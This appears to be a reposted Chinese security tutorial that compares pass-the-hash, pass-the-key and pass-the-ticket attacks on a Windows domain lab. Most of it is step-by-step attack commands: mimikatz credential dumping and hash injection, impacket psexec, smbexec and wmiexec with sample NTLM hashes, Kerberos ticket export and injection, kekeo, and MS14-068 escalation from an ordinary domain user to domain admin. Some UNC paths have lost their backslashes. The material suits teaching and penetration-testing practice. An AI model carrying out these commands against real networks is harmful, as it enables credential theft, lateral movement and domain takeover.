哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较

admin 2025年1月11日14:11:26评论8 views字数 3256阅读10分51秒阅读模式

Mimikatz 在本文章中会用到的命令

privilege::debug #提升权限
sekurlsa::logonpasswords #抓取密码信息
sekurlsa::msv #抓取LM、NTLM、值

sekurlsa::ekeys #抓取aes值

哈希传递攻击(PTH)

简介:

哈希传递(Pass The Hash)攻击,该方法通过找到与账户相关的密码散列值来进行攻击,在 Windows Server 2012 R2 之前使用到的密码散列值是 LM、NTLM,在Windows Server 2012 R2 及其版本之后使用到的密码散列值是 NTLM Hash。

在域环境中,用户登录计算机时使用的大概都是域账号,并且许多计算机在安装时会使用相同的本地管理员账户密码,因此如果计算机的本地管理员账户和密码相同的话,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。

条件:

有管理员的密码散列值,并且目标机器开放 445 端口(SMB 服务)。

进行攻击:

1.使用 mimikatz 进行哈希传递攻击

使用 mimikatz 获得散列值,还得到了域名、域用户名,除此之外还需要域内主机的 ip 地址

sekurlsa::msv

哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较

在 mimikatz 中运行以下命令

sekurlsa::pth /user:域用户名 /domain:域名 /ntlm:域用户名的NTLM
sekurlsa::pth /user:administrator /domain:god /ntlm:8c535a2d84c3b21059d667639bb89db5

运行完成之后会自己跳一个 cmd 窗口,然后在跳出来的 cmd 窗口中连接任意一个域内 ip 地址进行连接

net use \192.168.52.138 #建立IPC连接
dir \192.168.52.138c#查看连接域内ip的c盘文件夹

哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较

使用 mimikazt 有一个缺点就是需要建立 IPC 连接,除了使用 mimikatz 进行哈希传递攻击外,我们还可以使用其他工具进行哈希传递攻击,下面演示 impacket 工具包中的两种工具,注意,这个工具包里面的工具可以使用哈希进行利用的,如果使用的是微软官方的 Pstools 工具包的工具是只能使用明文进行利用的。impacket 工具包下载地址:

https://github.com/SecureAuthCorp/impacket

2.使用 psexec 进行哈希传递攻击

使用 psexec 进行哈希传递攻击所需要的参数和 mimikatz 中进行哈希传递攻击的参数一样,都是域名、域用户名、域内主机的 ip 地址

psexec.exe -hashes :NTLM值 域名/域用户@域内ip地址
psexec.exe -hashes :8c535a2d84c3b21059d667639bb89db5 god/administrator@192.168.52.138

哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较

该方式进行哈希传递攻击的优点是不需要建立 IPC 连接。

3.使用 smbexec 进行哈希传递攻击:

smbexec.exe -hashes :NTLM值 域名/域用户@域内ip地址
smbexec.exe -hashes :8c535a2d84c3b21059d667639bb89db5 god/administrator@192.168.52.138

哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较

以上三种哈希传递攻击都是使用到 445 端口(SMB服务)而没有用到 135 端口,接下来演示 445 端口配合 135 端口进行哈希传递攻击。

4.使用 wmiexec 进行哈希传递攻击:

缺点是一次只能执行一次命令,而上面三种都是可以执行很多次命令。

wmiexec -hashes :8c535a2d84c3b21059d667639bb89db5 god/administrator@192.168.52.138 "ipconfig"

哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较

进行哈希传递攻击的时候需要注意以下两点:

  • dir命令后面要使用主机名,不能用IP,否则报错

  • 使用mimikatz进行哈希传递要具有本地管理员权限

密钥传递攻击(PTK)

简介:

密钥传递攻击只能在打了kb2871997条件下进行

条件:

打了kb2871997补丁才能任意用户都可以连接,采用 aes256 连接。

进行攻击:

mimikatz 获取 aes 值

sekurlsa::ekeys

哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较

sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值 hash
sekurlsa::pth /user:administrator /domain:god /aes256:bd25b5ae78c10e3fcda9693cd31027d70383063a1d8c2b835c6fa1c416b79669

哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较在实际上,PTK 传递比 PTH 传递用的少,因为 PTK 传递需要一个前提条件,需要域控安 装KB2871997 补丁的 Win7/2008r2/8/2012(2019尝试也可以,并没有装补丁)。

票据传递攻击(PTT)

简介:

不需要管理员权限就可以获得远程系统的访问权限,Pass The Ticket 票据传递(PTT攻击)实现「未授权」访问。

条件:

进行攻击:

1.使用 mimikatz 进行票据传递攻击

因为当前主机肯定之前与其他主机连接过,所以本地应该生成了一些票据,我们可以导出这些票据,然后再导入票据,利用。该方法类似于 cookie 欺骗。

缺点:票据是有有效期的,一般为10小时,所以如果当前主机10h之内连接过域控的话,我们可以利用该票据,但是如果超过10h,就没法利用了。

导入票据

sekurlsa::tickets /export

哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较

删除票据,排除干扰

klist purge

哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较

导入票据

kerberos::ptt 票据文件
kerberos::pttC:UsersAdministratorDesktopmimikatz_trunkx64[0;3e7]-2-0-60a00000-STU1$@krbtgt-GOD.ORG.kirbi

哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较

进行利用

dir \192.168.52.138c$

哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较

下面的两种方式由于靶机发生故障了,所以借用网上的图片。

2.利用工具 kekeo

生成票据,导入票据

kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c" //生成票据
kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi //导入票据

哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较

查看凭证 klist

哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较

利用

dir 192.168.3.21c$
dir \OWA2010CN-God.god.orgc$

3.利用漏洞 ms14-068

whoami/user 查看当前 sid

哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较

我们知道 mary 就是域内一个普通用户

哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较

清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造

klist //查看凭证列表
klist purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造

哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较

利用 MS14-068 生成TGT数据

ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45

哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较

将票据注入到内存中

./mimikatz.exe
kerberos::ptc TGT_mary@god.org.ccache
exit

哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较

查看凭证列表。klist 查看一下,注入成功。

哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较

利用

dir 192.168.3.21c$
dir \OWA2010CN-God.god.orgc$

哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较

总结

PTH和PTK需要管理员权限,其中PTK要求更为苛刻,PTK需要打了kb2871997补丁才能够使用,因此一般情况下不考虑使用PTK。而PTT利用漏洞MS14-068可以直接从普通域成员提权到域管理员权限。因此一般应该靠考虑使用MS14-068进行横向移动。

- End -

原文始发于微信公众号(NS Demon团队):哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月11日14:11:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   哈希传递PTH、密钥传递PTT、票据传递PTK的实现和比较http://cn-sec.com/archives/1132127.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息